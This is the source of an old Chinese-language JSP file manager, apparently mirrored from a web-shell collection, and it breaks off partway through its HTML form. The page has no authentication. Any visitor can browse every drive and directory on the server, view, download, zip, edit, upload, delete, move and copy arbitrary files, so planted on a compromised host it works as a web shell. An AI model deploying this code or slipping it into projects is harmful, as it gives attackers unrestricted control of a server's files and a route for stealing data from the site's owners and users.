mirror of
https://github.com/tennc/webshell
synced 2024-11-25 04:30:17 +00:00
807 lines
31 KiB
Text
807 lines
31 KiB
Text
<%@ page import="java.util.*,java.net.*,java.text.*,java.util.zip.*,java.io.*"%>
|
|
<%@ page contentType="text/html;charset=gb2312"%>
|
|
<%!
|
|
/*
|
|
**************************************************************************************
|
|
*JSP 文件管理器 v1.001 *
|
|
*Copyright (C) 2003 by Bagheera *
|
|
*E-mail:bagheera@beareyes.com *
|
|
*QQ:179189585 *
|
|
*http://jmmm.com *
|
|
*------------------------------------------------------------------------------------*
|
|
*警告:请不要随便修改以上版权信息! *
|
|
**************************************************************************************
|
|
*#######免费空间管理系统正在完善之中，请到这里测试并发表宝贵意见: *
|
|
**http://jmmm.com/web/index.jsp 测试帐号:test 密码:test *
|
|
**************************************************************************************
|
|
*/
|
|
|
|
//编辑器显示列数
|
|
private static final int EDITFIELD_COLS =100;
|
|
//编辑器显示行数
|
|
private static final int EDITFIELD_ROWS = 30;
|
|
//-----------------------------------------------------------------------------
|
|
|
|
//改变上传文件是的缓冲目录(一般不需要修改)
|
|
private static String tempdir = ".";
|
|
|
|
public class FileInfo{
|
|
public String name = null,
|
|
clientFileName = null,
|
|
fileContentType = null;
|
|
private byte[] fileContents = null;
|
|
public File file = null;
|
|
public StringBuffer sb = new StringBuffer(100);
|
|
public void setFileContents(byte[] aByteArray){
|
|
fileContents = new byte[aByteArray.length];
|
|
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
|
|
}
|
|
}
|
|
|
|
public class HttpMultiPartParser{
|
|
private final String lineSeparator = System.getProperty("line.separator", "\n");
|
|
private final int ONE_MB=1024*1024*1;
|
|
|
|
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir)
|
|
throws IllegalArgumentException, IOException {
|
|
if (is == null) throw new IllegalArgumentException("InputStream");
|
|
if (boundary == null || boundary.trim().length() < 1)
|
|
throw new IllegalArgumentException("boundary");
|
|
boundary = "--" + boundary;
|
|
StringTokenizer stLine = null, stFields = null;
|
|
FileInfo fileInfo = null;
|
|
Hashtable dataTable = new Hashtable(5);
|
|
String line = null, field = null, paramName = null;
|
|
boolean saveFiles=(saveInDir != null && saveInDir.trim().length() > 0),
|
|
isFile = false;
|
|
if (saveFiles){
|
|
File f = new File(saveInDir);
|
|
f.mkdirs();
|
|
}
|
|
line = getLine(is);
|
|
if (line == null || !line.startsWith(boundary))
|
|
throw new IOException("未发现;"
|
|
+" boundary = " + boundary
|
|
+", line = " + line);
|
|
while (line != null){
|
|
if (line == null || !line.startsWith(boundary)) return dataTable;
|
|
line = getLine(is);
|
|
if (line == null) return dataTable;
|
|
stLine = new StringTokenizer(line, ";\r\n");
|
|
if (stLine.countTokens() < 2) throw new IllegalArgumentException("出现错误!");
|
|
line = stLine.nextToken().toLowerCase();
|
|
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException("出现错误!");
|
|
stFields = new StringTokenizer(stLine.nextToken(), "=\"");
|
|
if (stFields.countTokens() < 2) throw new IllegalArgumentException("出现错误!");
|
|
fileInfo = new FileInfo();
|
|
stFields.nextToken();
|
|
paramName = stFields.nextToken();
|
|
isFile = false;
|
|
if (stLine.hasMoreTokens()){
|
|
field = stLine.nextToken();
|
|
stFields = new StringTokenizer(field, "=\"");
|
|
if (stFields.countTokens() > 1){
|
|
if (stFields.nextToken().trim().equalsIgnoreCase("filename")){
|
|
fileInfo.name=paramName;
|
|
String value = stFields.nextToken();
|
|
if (value != null && value.trim().length() > 0){
|
|
fileInfo.clientFileName=value;
|
|
isFile = true;
|
|
}
|
|
else{
|
|
line = getLine(is); // 去掉"Content-Type:"行
|
|
line = getLine(is); // 去掉空白行
|
|
line = getLine(is); // 去掉空白行
|
|
line = getLine(is); // 定位
|
|
continue;
|
|
}
|
|
}
|
|
}
|
|
else if (field.toLowerCase().indexOf("filename") >= 0){
|
|
line = getLine(is); // 去掉"Content-Type:"行
|
|
line = getLine(is); // 去掉空白行
|
|
line = getLine(is); // 去掉空白行
|
|
line = getLine(is); // 定位
|
|
continue;
|
|
}
|
|
}
|
|
boolean skipBlankLine = true;
|
|
if (isFile){
|
|
line = getLine(is);
|
|
if (line == null) return dataTable;
|
|
if (line.trim().length() < 1) skipBlankLine = false;
|
|
else{
|
|
stLine = new StringTokenizer(line, ": ");
|
|
if (stLine.countTokens() < 2)
|
|
throw new IllegalArgumentException("出现错误!");
|
|
stLine.nextToken();
|
|
fileInfo.fileContentType=stLine.nextToken();
|
|
}
|
|
}
|
|
if (skipBlankLine){
|
|
line = getLine(is);
|
|
if (line == null) return dataTable;
|
|
}
|
|
if (!isFile){
|
|
line = getLine(is);
|
|
if (line == null) return dataTable;
|
|
dataTable.put(paramName, line);
|
|
//判断是否为目录
|
|
if (paramName.equals("dir")){
|
|
saveInDir = line;
|
|
System.out.println(line);
|
|
}
|
|
line = getLine(is);
|
|
continue;
|
|
}
|
|
try{
|
|
OutputStream os = null;
|
|
String path = null;
|
|
if (saveFiles)
|
|
os = new FileOutputStream(path = getFileName(saveInDir,
|
|
fileInfo.clientFileName));
|
|
else os = new ByteArrayOutputStream(ONE_MB);
|
|
boolean readingContent = true;
|
|
byte previousLine[] = new byte[2 * ONE_MB];
|
|
byte temp[] = null;
|
|
byte currentLine[] = new byte[2 * ONE_MB];
|
|
int read, read3;
|
|
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
|
|
line = null;
|
|
break;
|
|
}
|
|
while (readingContent){
|
|
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
|
|
line = null;
|
|
break;
|
|
}
|
|
if (compareBoundary(boundary, currentLine)){
|
|
os.write( previousLine, 0, read );
|
|
os.flush();
|
|
line = new String( currentLine, 0, read3 );
|
|
break;
|
|
}
|
|
else{
|
|
os.write( previousLine, 0, read );
|
|
os.flush();
|
|
temp = currentLine;
|
|
currentLine = previousLine;
|
|
previousLine = temp;
|
|
read = read3;
|
|
}
|
|
}
|
|
os.close();
|
|
temp = null;
|
|
previousLine = null;
|
|
currentLine = null;
|
|
if (!saveFiles){
|
|
ByteArrayOutputStream baos = (ByteArrayOutputStream)os;
|
|
fileInfo.setFileContents(baos.toByteArray());
|
|
}
|
|
else{
|
|
fileInfo.file = new File(path);
|
|
os = null;
|
|
}
|
|
dataTable.put(paramName, fileInfo);
|
|
}
|
|
catch (IOException e) {
|
|
throw e;
|
|
}
|
|
}
|
|
return dataTable;
|
|
}
|
|
|
|
// 比较数据
|
|
private boolean compareBoundary(String boundary, byte ba[]){
|
|
byte b;
|
|
if (boundary == null || ba == null) return false;
|
|
for (int i=0; i < boundary.length(); i++)
|
|
if ((byte)boundary.charAt(i) != ba[i]) return false;
|
|
return true;
|
|
}
|
|
|
|
|
|
private synchronized String getLine(ServletInputStream sis) throws IOException{
|
|
byte b[] = new byte[1024];
|
|
int read = sis.readLine(b, 0, b.length), index;
|
|
String line = null;
|
|
if (read != -1){
|
|
line = new String(b, 0, read);
|
|
if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index-1);
|
|
}
|
|
b = null;
|
|
return line;
|
|
}
|
|
|
|
public String getFileName(String dir, String fileName) throws IllegalArgumentException{
|
|
String path = null;
|
|
if (dir == null || fileName == null) throw new IllegalArgumentException("目录或者文件不存在!");
|
|
int index = fileName.lastIndexOf('/');
|
|
String name = null;
|
|
if (index >= 0) name = fileName.substring(index + 1);
|
|
else name = fileName;
|
|
index = name.lastIndexOf('\\');
|
|
if (index >= 0) fileName = name.substring(index + 1);
|
|
path = dir + File.separator + fileName;
|
|
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
|
|
else return path.replace('/', File.separatorChar);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* 下面这个类是为文件和目录排序
|
|
* @author bagheera
|
|
* @version 1.001
|
|
*/
|
|
class FileComp implements Comparator{
|
|
int mode=1;
|
|
/**
|
|
* @排序方法 1=文件名, 2=大小, 3=日期
|
|
*/
|
|
FileComp (int mode){
|
|
this.mode=mode;
|
|
}
|
|
public int compare(Object o1, Object o2){
|
|
File f1 = (File)o1;
|
|
File f2 = (File)o2;
|
|
if (f1.isDirectory()){
|
|
if (f2.isDirectory()){
|
|
switch(mode){
|
|
case 1:return f1.getAbsolutePath().toUpperCase().compareTo(f2.getAbsolutePath().toUpperCase());
|
|
case 2:return new Long(f1.length()).compareTo(new Long(f2.length()));
|
|
case 3:return new Long(f1.lastModified()).compareTo(new Long(f2.lastModified()));
|
|
default:return 1;
|
|
}
|
|
}
|
|
else return -1;
|
|
}
|
|
else if (f2.isDirectory()) return 1;
|
|
else{
|
|
switch(mode){
|
|
case 1:return f1.getAbsolutePath().toUpperCase().compareTo(f2.getAbsolutePath().toUpperCase());
|
|
case 2:return new Long(f1.length()).compareTo(new Long(f2.length()));
|
|
case 3:return new Long(f1.lastModified()).compareTo(new Long(f2.lastModified()));
|
|
default:return 1;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
class Writer2Stream extends OutputStream{
|
|
Writer out;
|
|
Writer2Stream (Writer w){
|
|
super();
|
|
out=w;
|
|
}
|
|
public void write(int i) throws IOException{
|
|
out.write(i);
|
|
}
|
|
public void write(byte[] b) throws IOException{
|
|
for (int i=0;i<b.length;i++){
|
|
int n=b[i];
|
|
//Convert byte to ubyte
|
|
n=((n>>>4)&0xF)*16+(n&0xF);
|
|
out.write (n);
|
|
}
|
|
}
|
|
public void write(byte[] b, int off, int len) throws IOException{
|
|
for (int i=off;i<off+len;i++){
|
|
int n=b[i];
|
|
n=((n>>>4)&0xF)*16+(n&0xF);
|
|
out.write (n);
|
|
}
|
|
}
|
|
}
|
|
|
|
static Vector expandFileList(String[] files, boolean inclDirs){
|
|
Vector v = new Vector();
|
|
if (files==null) return v;
|
|
for (int i=0;i<files.length;i++) v.add (new File(URLDecoder.decode(files[i])));
|
|
for (int i=0;i<v.size();i++){
|
|
File f = (File) v.get(i);
|
|
if (f.isDirectory()){
|
|
File[] fs = f.listFiles();
|
|
for (int n=0;n<fs.length;n++) v.add(fs[n]);
|
|
if (!inclDirs){
|
|
v.remove(i);
|
|
i--;
|
|
}
|
|
}
|
|
}
|
|
return v;
|
|
}
|
|
|
|
static String substr(String s, String search, String replace){
|
|
StringBuffer s2 = new StringBuffer ();
|
|
int i = 0, j = 0;
|
|
int len = search.length();
|
|
while ( j > -1 ){
|
|
j = s.indexOf( search, i );
|
|
if ( j > -1 ){
|
|
s2.append( s.substring(i,j) );
|
|
s2.append( replace );
|
|
i = j + len;
|
|
}
|
|
}
|
|
s2.append( s.substring(i, s.length()) );
|
|
return s2.toString();
|
|
}
|
|
|
|
|
|
static String getDir (String dir, String name){
|
|
if (!dir.endsWith(File.separator)) dir=dir+File.separator;
|
|
File mv = new File (name);
|
|
String new_dir=null;
|
|
if (!mv.isAbsolute()){
|
|
new_dir=dir+name;
|
|
}
|
|
else new_dir=name;
|
|
return new_dir;
|
|
}
|
|
%>
|
|
|
|
<%
|
|
request.setAttribute("dir", request.getParameter("dir"));
|
|
String browser_name = request.getRequestURI();
|
|
|
|
//查看文件
|
|
if (request.getParameter("file")!=null){
|
|
File f = new File (request.getParameter("file"));
|
|
BufferedInputStream reader = new BufferedInputStream(new FileInputStream(f));
|
|
int l = f.getName().lastIndexOf(".");
|
|
//判断文件后缀
|
|
if (l>=0){
|
|
String ext = f.getName().substring(l).toLowerCase();
|
|
if (ext.equals(".jpg")||ext.equals(".jpeg")||ext.equals(".jpe"))
|
|
response.setContentType("image/jpeg");
|
|
else if (ext.equals(".gif")) response.setContentType("image/gif");
|
|
else if (ext.equals(".pdf")) response.setContentType("application/pdf");
|
|
else if (ext.equals(".htm")||ext.equals(".html")||ext.equals(".shtml")) response.setContentType("text/html");
|
|
else if (ext.equals(".avi")) response.setContentType("video/x-msvideo");
|
|
else if (ext.equals(".mov")||ext.equals(".qt")) response.setContentType("video/quicktime");
|
|
else if (ext.equals(".mpg")||ext.equals(".mpeg")||ext.equals(".mpe"))
|
|
response.setContentType("video/mpeg");
|
|
else if (ext.equals(".zip")) response.setContentType("application/zip");
|
|
else if (ext.equals(".tiff")||ext.equals(".tif")) response.setContentType("image/tiff");
|
|
else if (ext.equals(".rtf")) response.setContentType("application/rtf");
|
|
else if (ext.equals(".mid")||ext.equals(".midi")) response.setContentType("audio/x-midi");
|
|
else if (ext.equals(".xl")||ext.equals(".xls")||ext.equals(".xlv")||ext.equals(".xla")
|
|
||ext.equals(".xlb")||ext.equals(".xlt")||ext.equals(".xlm")||ext.equals(".xlk"))
|
|
response.setContentType("application/excel");
|
|
else if (ext.equals(".doc")||ext.equals(".dot")) response.setContentType("application/msword");
|
|
else if (ext.equals(".png")) response.setContentType("image/png");
|
|
else if (ext.equals(".xml")) response.setContentType("text/xml");
|
|
else if (ext.equals(".svg")) response.setContentType("image/svg+xml");
|
|
else response.setContentType("text/plain");
|
|
}
|
|
else response.setContentType("text/plain");
|
|
response.setContentLength((int)f.length());
|
|
out.clearBuffer();
|
|
int i;
|
|
while ((i=reader.read())!=-1) out.write(i);
|
|
reader.close();
|
|
out.flush();
|
|
}
|
|
//保存所选中文件为zip文件
|
|
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Save as zip"))){
|
|
Vector v = expandFileList(request.getParameterValues("selfile"), false);
|
|
File dir_file = new File(""+request.getAttribute("dir"));
|
|
int dir_l = dir_file.getAbsolutePath().length();
|
|
response.setContentType ("application/zip");
|
|
response.setHeader ("Content-Disposition", "attachment;filename=\"bagheera.zip\"");
|
|
out.clearBuffer();
|
|
ZipOutputStream zipout = new ZipOutputStream(new Writer2Stream(out));
|
|
zipout.setComment("Created by JSP 文件管理器 1.001");
|
|
for (int i=0;i<v.size();i++){
|
|
File f = (File)v.get(i);
|
|
if (f.canRead()){
|
|
zipout.putNextEntry(new ZipEntry(f.getAbsolutePath().substring(dir_l+1)));
|
|
BufferedInputStream fr = new BufferedInputStream(new FileInputStream(f));
|
|
int b;
|
|
while ((b=fr.read())!=-1) zipout.write(b);
|
|
fr.close();
|
|
zipout.closeEntry();
|
|
}
|
|
}
|
|
zipout.finish();
|
|
out.flush();
|
|
}
|
|
//下载文件
|
|
else if (request.getParameter("downfile")!=null){
|
|
String filePath = request.getParameter("downfile");
|
|
File f = new File(filePath);
|
|
if (f.exists()&&f.canRead()) {
|
|
response.setContentType ("application/octet-stream");
|
|
response.setHeader ("Content-Disposition", "attachment;filename=\""+f.getName()+"\"");
|
|
response.setContentLength((int) f.length());
|
|
BufferedInputStream fileInputStream = new BufferedInputStream(new FileInputStream(f));
|
|
int i;
|
|
out.clearBuffer();
|
|
while ((i=fileInputStream.read()) != -1) out.write(i);
|
|
fileInputStream.close();
|
|
out.flush();
|
|
}
|
|
else {
|
|
out.println("<html><body><h1>文件"+f.getAbsolutePath()+
|
|
"不存在或者无读权限</h1></body></html>");
|
|
}
|
|
}
|
|
|
|
else{
|
|
if (request.getAttribute("dir")==null){
|
|
request.setAttribute ("dir", application.getRealPath("."));
|
|
}
|
|
%>
|
|
<html>
|
|
<head>
|
|
<meta http-equiv="content-type" content="text/html; charset=gb2312">
|
|
<style type="text/css">
|
|
.login { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666; width:320px; }
|
|
.header { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 10pt; color: #666666; font-weight: bold; }
|
|
.tableHeader { background-color: #c0c0c0; color: #666666;}
|
|
.tableHeaderLight { background-color: #cccccc; color: #666666;}
|
|
.main { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}
|
|
.copy { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #999999;}
|
|
.copy:Hover { color: #666666; text-decoration : underline; }
|
|
.button {background-color: #c0c0c0; color: #666666;
|
|
border-left: 1px solid #999999; border-right: 1px solid #999999;
|
|
border-top: 1px solid #999999; border-bottom: 1px solid #999999}
|
|
.button:Hover { color: #444444 }
|
|
td { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}
|
|
A { text-decoration: none; }
|
|
A:Hover { color : Red; text-decoration : underline; }
|
|
BODY { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}
|
|
</style>
|
|
<script type="text/javascript">
|
|
<!--
|
|
var check = false;
|
|
function dis(){
|
|
check = true;
|
|
}
|
|
|
|
var DOM = 0, MS = 0, OP = 0;
|
|
function CheckBrowser() {
|
|
if (window.opera) OP = 1;
|
|
if(document.getElementById) {
|
|
DOM = 1;
|
|
}
|
|
if(document.all && !OP) {
|
|
MS = 1;
|
|
}
|
|
}
|
|
|
|
function selrow (element, i){
|
|
CheckBrowser();
|
|
var erst;
|
|
if ((OP==1)||(MS == 1)) erst = element.firstChild.firstChild;
|
|
else if (DOM == 1) erst = element.firstChild.nextSibling.firstChild;
|
|
//MouseIn
|
|
if (i == 0)
|
|
if (erst.checked == true) element.style.backgroundColor = '#dddddd';
|
|
else element.style.backgroundColor = '#eeeeee';
|
|
//MouseOut
|
|
else if (i == 1){
|
|
if (erst.checked == true) element.style.backgroundColor = '#dddddd';
|
|
else element.style.backgroundColor = '#ffffff';
|
|
}
|
|
//MouseClick
|
|
else if ((i == 2)&&(!check)){
|
|
if (erst.checked == true) element.style.backgroundColor = '#eeeeee';
|
|
else element.style.backgroundColor = '#dddddd';
|
|
erst.click();
|
|
}
|
|
else check = false;
|
|
}
|
|
//-->
|
|
</script>
|
|
<%
|
|
}
|
|
//上传
|
|
if ((request.getContentType()!=null)&&(request.getContentType().toLowerCase().startsWith("multipart"))){
|
|
response.setContentType("text/html");
|
|
HttpMultiPartParser parser = new HttpMultiPartParser();
|
|
boolean error = false;
|
|
try{
|
|
Hashtable ht = parser.processData(request.getInputStream(), "-", tempdir);
|
|
if (ht.get("myFile")!=null){
|
|
FileInfo fi = (FileInfo)ht.get("myFile");
|
|
File f = fi.file;
|
|
//把文件从缓冲目录里复制出来
|
|
String path = (String)ht.get("dir");
|
|
if (!path.endsWith(File.separator)) path = path+File.separator;
|
|
if (!f.renameTo(new File(path+f.getName()))){
|
|
request.setAttribute("message", "无法上传文件.");
|
|
error = true;
|
|
f.delete();
|
|
}
|
|
}
|
|
else{
|
|
request.setAttribute("message", "请选中上传文件!");
|
|
error = true;
|
|
}
|
|
request.setAttribute("dir", (String)ht.get("dir"));
|
|
}
|
|
catch (Exception e){
|
|
request.setAttribute("message", "发生如下错误:"+e+". 上传失败!");
|
|
error = true;
|
|
}
|
|
if (!error) request.setAttribute("message", "文件上传成功.");
|
|
}
|
|
else if (request.getParameter("editfile")!=null){
|
|
%>
|
|
<title>JSP文件管理器-编辑文件:<%=request.getParameter("editfile")%></title>
|
|
</head>
|
|
<body>
|
|
|
|
<%
|
|
String encoding="gb2312";
|
|
request.setAttribute("dir", null);
|
|
File ef = new File(request.getParameter("editfile"));
|
|
BufferedReader reader = new BufferedReader(new FileReader(ef));
|
|
String disable = "";
|
|
if (!ef.canWrite()) disable = "无法打开文件";
|
|
out.print("<form action=\""+browser_name+"\" method=\"Post\">\n"+
|
|
"<textarea name=\"text\" wrap=\"off\" cols=\""+
|
|
EDITFIELD_COLS+"\" rows=\""+EDITFIELD_ROWS+"\""+">"+disable);
|
|
|
|
String c;
|
|
while ((c =reader.readLine())!=null){
|
|
c=substr(c,"&", "&");
|
|
c=substr(c,"<", "<");
|
|
c=substr(c,">", ">");
|
|
c=substr(c,"\"", """);
|
|
out.print(c+"\n");
|
|
}
|
|
reader.close();
|
|
%></textarea>
|
|
<input type="hidden" name="nfile" value="<%= request.getParameter("editfile")%>">
|
|
<table><tr>
|
|
<td title="Enter the new filename"><input type="text" name="new_name" value="<%=ef.getName()%>"></td>
|
|
<td><input type="Submit" name="Submit" value="保存"></td>
|
|
<td><input type="Submit" name="Submit" value="取消"></td></tr>
|
|
<tr><td><input type="checkbox" name="Backup" checked>覆写</td></tr>
|
|
</table>
|
|
</form>
|
|
</body>
|
|
</html>
|
|
<%
|
|
}
|
|
//保存文件
|
|
else if (request.getParameter("nfile")!=null){
|
|
File f = new File(request.getParameter("nfile"));
|
|
File new_f = new File(getDir(f.getParent(), request.getParameter("new_name")));
|
|
if (request.getParameter("Submit").equals("Save")){
|
|
if (new_f.exists()&&request.getParameter("Backup")!=null){
|
|
File bak = new File(new_f.getAbsolutePath()+".bak");
|
|
bak.delete();
|
|
new_f.renameTo(bak);
|
|
}
|
|
BufferedWriter outs = new BufferedWriter(new FileWriter(new_f));
|
|
outs.write(request.getParameter("text"));
|
|
outs.flush();
|
|
outs.close();
|
|
}
|
|
request.setAttribute("dir", f.getParent());
|
|
}
|
|
//删除文件
|
|
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Delete Files"))){
|
|
Vector v = expandFileList(request.getParameterValues("selfile"), true);
|
|
boolean error = false;
|
|
for (int i=v.size()-1;i>=0;i--){
|
|
File f = (File)v.get(i);
|
|
if (!f.canWrite()||!f.delete()){
|
|
request.setAttribute("message", "无法删除文件"+f.getAbsolutePath()+". 删除失败");
|
|
error = true;
|
|
break;
|
|
}
|
|
}
|
|
if ((!error)&&(v.size()>1)) request.setAttribute("message", "All files deleted");
|
|
else if ((!error)&&(v.size()>0)) request.setAttribute("message", "File deleted");
|
|
else if (!error) request.setAttribute("message", "No files selected");
|
|
}
|
|
//建新目录
|
|
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Create Dir"))){
|
|
String dir = ""+request.getAttribute("dir");
|
|
String dir_name = request.getParameter("cr_dir");
|
|
String new_dir = getDir (dir, dir_name);
|
|
if (new File(new_dir).mkdirs()){
|
|
request.setAttribute("message", "目录创建完成");
|
|
}
|
|
else request.setAttribute("message", "创建新目录"+new_dir+"失败");
|
|
}
|
|
//创建文件
|
|
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Create File"))){
|
|
String dir = ""+request.getAttribute("dir");
|
|
String file_name = request.getParameter("cr_dir");
|
|
String new_file = getDir (dir, file_name);
|
|
//Test, if file_name is empty
|
|
if ((file_name.trim()!="")&&!file_name.endsWith(File.separator)){
|
|
if (new File(new_file).createNewFile()) request.setAttribute("message", "文件成功创建");
|
|
else request.setAttribute("message", "创建文件"+new_file+"失败");
|
|
}
|
|
else request.setAttribute("message", "错误: "+file_name+"文件不存在");
|
|
}
|
|
//转移文件
|
|
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Move Files"))){
|
|
Vector v = expandFileList(request.getParameterValues("selfile"), true);
|
|
String dir = ""+request.getAttribute("dir");
|
|
String dir_name = request.getParameter("cr_dir");
|
|
String new_dir = getDir(dir, dir_name);
|
|
boolean error = false;
|
|
if (!new_dir.endsWith(File.separator)) new_dir+=File.separator;
|
|
for (int i=v.size()-1;i>=0;i--){
|
|
File f = (File)v.get(i);
|
|
if (!f.canWrite()||!f.renameTo(new File(new_dir+f.getAbsolutePath().substring(dir.length())))){
|
|
request.setAttribute("message", "不能转移"+f.getAbsolutePath()+".转移失败");
|
|
error = true;
|
|
break;
|
|
}
|
|
}
|
|
if ((!error)&&(v.size()>1)) request.setAttribute("message", "全部文件转移成功");
|
|
else if ((!error)&&(v.size()>0)) request.setAttribute("message", "文件转移成功");
|
|
else if (!error) request.setAttribute("message", "请选择文件");
|
|
}
|
|
//复制文件
|
|
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Copy Files"))){
|
|
Vector v = expandFileList(request.getParameterValues("selfile"), true);
|
|
String dir = (String)request.getAttribute("dir");
|
|
if (!dir.endsWith(File.separator)) dir+=File.separator;
|
|
String dir_name = request.getParameter("cr_dir");
|
|
String new_dir = getDir(dir, dir_name);
|
|
boolean error = false;
|
|
if (!new_dir.endsWith(File.separator)) new_dir+=File.separator;
|
|
byte buffer[] = new byte[0xffff];
|
|
try{
|
|
for (int i=0;i<v.size();i++){
|
|
File f_old = (File)v.get(i);
|
|
File f_new = new File(new_dir+f_old.getAbsolutePath().substring(dir.length()));
|
|
if (f_old.isDirectory()) f_new.mkdirs();
|
|
else if (!f_new.exists()){
|
|
InputStream fis = new FileInputStream (f_old);
|
|
OutputStream fos = new FileOutputStream (f_new);
|
|
int b;
|
|
while((b=fis.read(buffer))!=-1) fos.write(buffer, 0, b);
|
|
fis.close();
|
|
fos.close();
|
|
}
|
|
else{
|
|
//文件存在
|
|
request.setAttribute("message", "无法复制"+f_old.getAbsolutePath()+",文件已经存在,复制失败");
|
|
error = true;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
catch (IOException e){
|
|
request.setAttribute("message", "错误"+e+".复制取消");
|
|
error = true;
|
|
}
|
|
if ((!error)&&(v.size()>1)) request.setAttribute("message", "全部文件复制成功");
|
|
else if ((!error)&&(v.size()>0)) request.setAttribute("message", "文件复制成功");
|
|
else if (!error) request.setAttribute("message", "请选择文件");
|
|
}
|
|
//目录浏览
|
|
if ((request.getAttribute("dir")!=null)){
|
|
%>
|
|
<title>JSP文件管理器-目录浏览:<%=request.getAttribute("dir")%></title>
|
|
</head>
|
|
<body>
|
|
<table>
|
|
<tr><td>
|
|
<% if (request.getAttribute("message")!=null){
|
|
out.println("<table border=\"0\" width=\"100%\"><tr><td bgcolor=\"#FFFF00\" align=\"center\">");
|
|
out.println(request.getAttribute("message"));
|
|
out.println("</td></tr></table>");
|
|
}
|
|
%>
|
|
<form action="<%= browser_name %>" method="Post">
|
|
<table border="1" cellpadding="1" cellspacing="0" width="100%">
|
|
<%
|
|
String dir = URLEncoder.encode(""+request.getAttribute("dir"));
|
|
String cmd = browser_name+"?dir="+dir;
|
|
out.println("<th bgcolor=\"#c0c0c0\"></th><th title=\"按文件名称排序\" bgcolor=\"#c0c0c0\"><a href=\""+cmd+"&sort=1\">文件名</a></th>"+
|
|
"<th title=\"按大小称排序\" bgcolor=\"#c0c0c0\"><a href=\""+cmd+"&sort=2\">大小</th>"+
|
|
"<th title=\"按日期称排序\" bgcolor=\"#c0c0c0\"><a href=\""+cmd+"&sort=3\">日期</th>"+
|
|
"<th bgcolor=\"#c0c0c0\"> </th><th bgcolor=\"#c0c0c0\"> </th>");
|
|
char trenner=File.separatorChar;
|
|
File f=new File(""+request.getAttribute("dir"));
|
|
//跟或者分区
|
|
File[] entry=File.listRoots();
|
|
for (int i=0;i<entry.length;i++){
|
|
out.println("<tr bgcolor='#ffffff'\">");
|
|
out.println("<td>※切换到相应盘符：<span style=\"background-color: rgb(255,255,255);color:rgb(255,0,0)\">");
|
|
String name = URLEncoder.encode(entry[i].getAbsolutePath());
|
|
String buf = entry[i].getAbsolutePath();
|
|
out.println("◎<a href=\""+browser_name+"?dir="+name+"\">["+buf+"]</a>");
|
|
out.println("</td></tr>");
|
|
|
|
}
|
|
out.println("<br>");
|
|
//..
|
|
if (f.getParent()!=null){
|
|
out.println("<tr bgcolor='#ffffff' onmouseover=\"this.style.backgroundColor = '#eeeeee'\" onmouseout=\"this.style.backgroundColor = '#ffffff'\">");
|
|
out.println("<td></td><td>");
|
|
out.println("<a href=\""+browser_name+"?dir="+URLEncoder.encode(f.getParent())+"\">[..]</a>");
|
|
out.println("</td></tr>");
|
|
}
|
|
//文件和目录
|
|
entry=f.listFiles();
|
|
if (entry!=null&&entry.length>0){
|
|
int mode=1;
|
|
if (request.getParameter("sort")!=null) mode = Integer.parseInt(request.getParameter("sort"));
|
|
Arrays.sort(entry, new FileComp(mode));
|
|
String ahref = "<a onmousedown=\"javascript:dis();\" href=\"";
|
|
for (int i=0;i<entry.length;i++){
|
|
String name = URLEncoder.encode(entry[i].getAbsolutePath());
|
|
String link;
|
|
String dlink = " ";
|
|
String elink = " ";
|
|
String buf = entry[i].getName();
|
|
if (entry[i].isDirectory()){
|
|
if (entry[i].canRead())
|
|
link = ahref+browser_name+"?dir="+name+"\">["+buf+"]</a>";
|
|
else
|
|
link = "["+buf+"]";
|
|
}
|
|
else{
|
|
if (entry[i].canRead()){
|
|
if (entry[i].canWrite()){
|
|
link=ahref+browser_name+"?file="+name+"\">"+buf+"</a>";
|
|
dlink=ahref+browser_name+"?downfile="+name+"\">下载</a>";
|
|
elink=ahref+browser_name+"?editfile="+name+"\">编辑</a>";
|
|
}
|
|
else{
|
|
link=ahref+browser_name+"?file="+name+"\"><i>"+buf+"</i></a>";
|
|
dlink=ahref+browser_name+"?downfile="+name+"\">下载</a>";
|
|
elink=ahref+browser_name+"?editfile="+name+"\">查看</a>";
|
|
}
|
|
}
|
|
else{
|
|
link = buf;
|
|
}
|
|
}
|
|
String date = DateFormat.getDateTimeInstance().format(new Date(entry[i].lastModified()));
|
|
out.println("<tr bgcolor='#ffffff' onmouseup = \"javascript:selrow(this, 2);\" "+
|
|
"onmouseover=\"javascript:selrow(this, 0);\" onmouseout=\"javascript:selrow(this, 1);\">");
|
|
out.println("<td><input type=\"checkbox\" name=\"selfile\" value=\""+name+"\" onmousedown=\"javascript:dis();\"></td>");
|
|
out.println("<td>"+link+"</td><td align=\"right\">"+entry[i].length()+
|
|
" bytes</td><td align=\"right\">"+
|
|
date+"</td><td>"
|
|
+dlink+"</td><td>"+elink+"</td></tr>");
|
|
}
|
|
}
|
|
%>
|
|
</table>
|
|
<table>
|
|
<input type="hidden" name="dir" value="<%=request.getAttribute("dir")%>">
|
|
<tr>
|
|
<td title="把所选文件打包下载"><input class="button" type="Submit" name="Submit" value="Save as zip"></td>
|
|
<td colspan="2" title="删除所选文件和文件夹"><input class="button" type="Submit" name="Submit" value="Delete Files"></td></tr>
|
|
<tr>
|
|
<td><input type="text" name="cr_dir"></td>
|
|
<td><input class="button" type="Submit" name="Submit" value="Create Dir"></td>
|
|
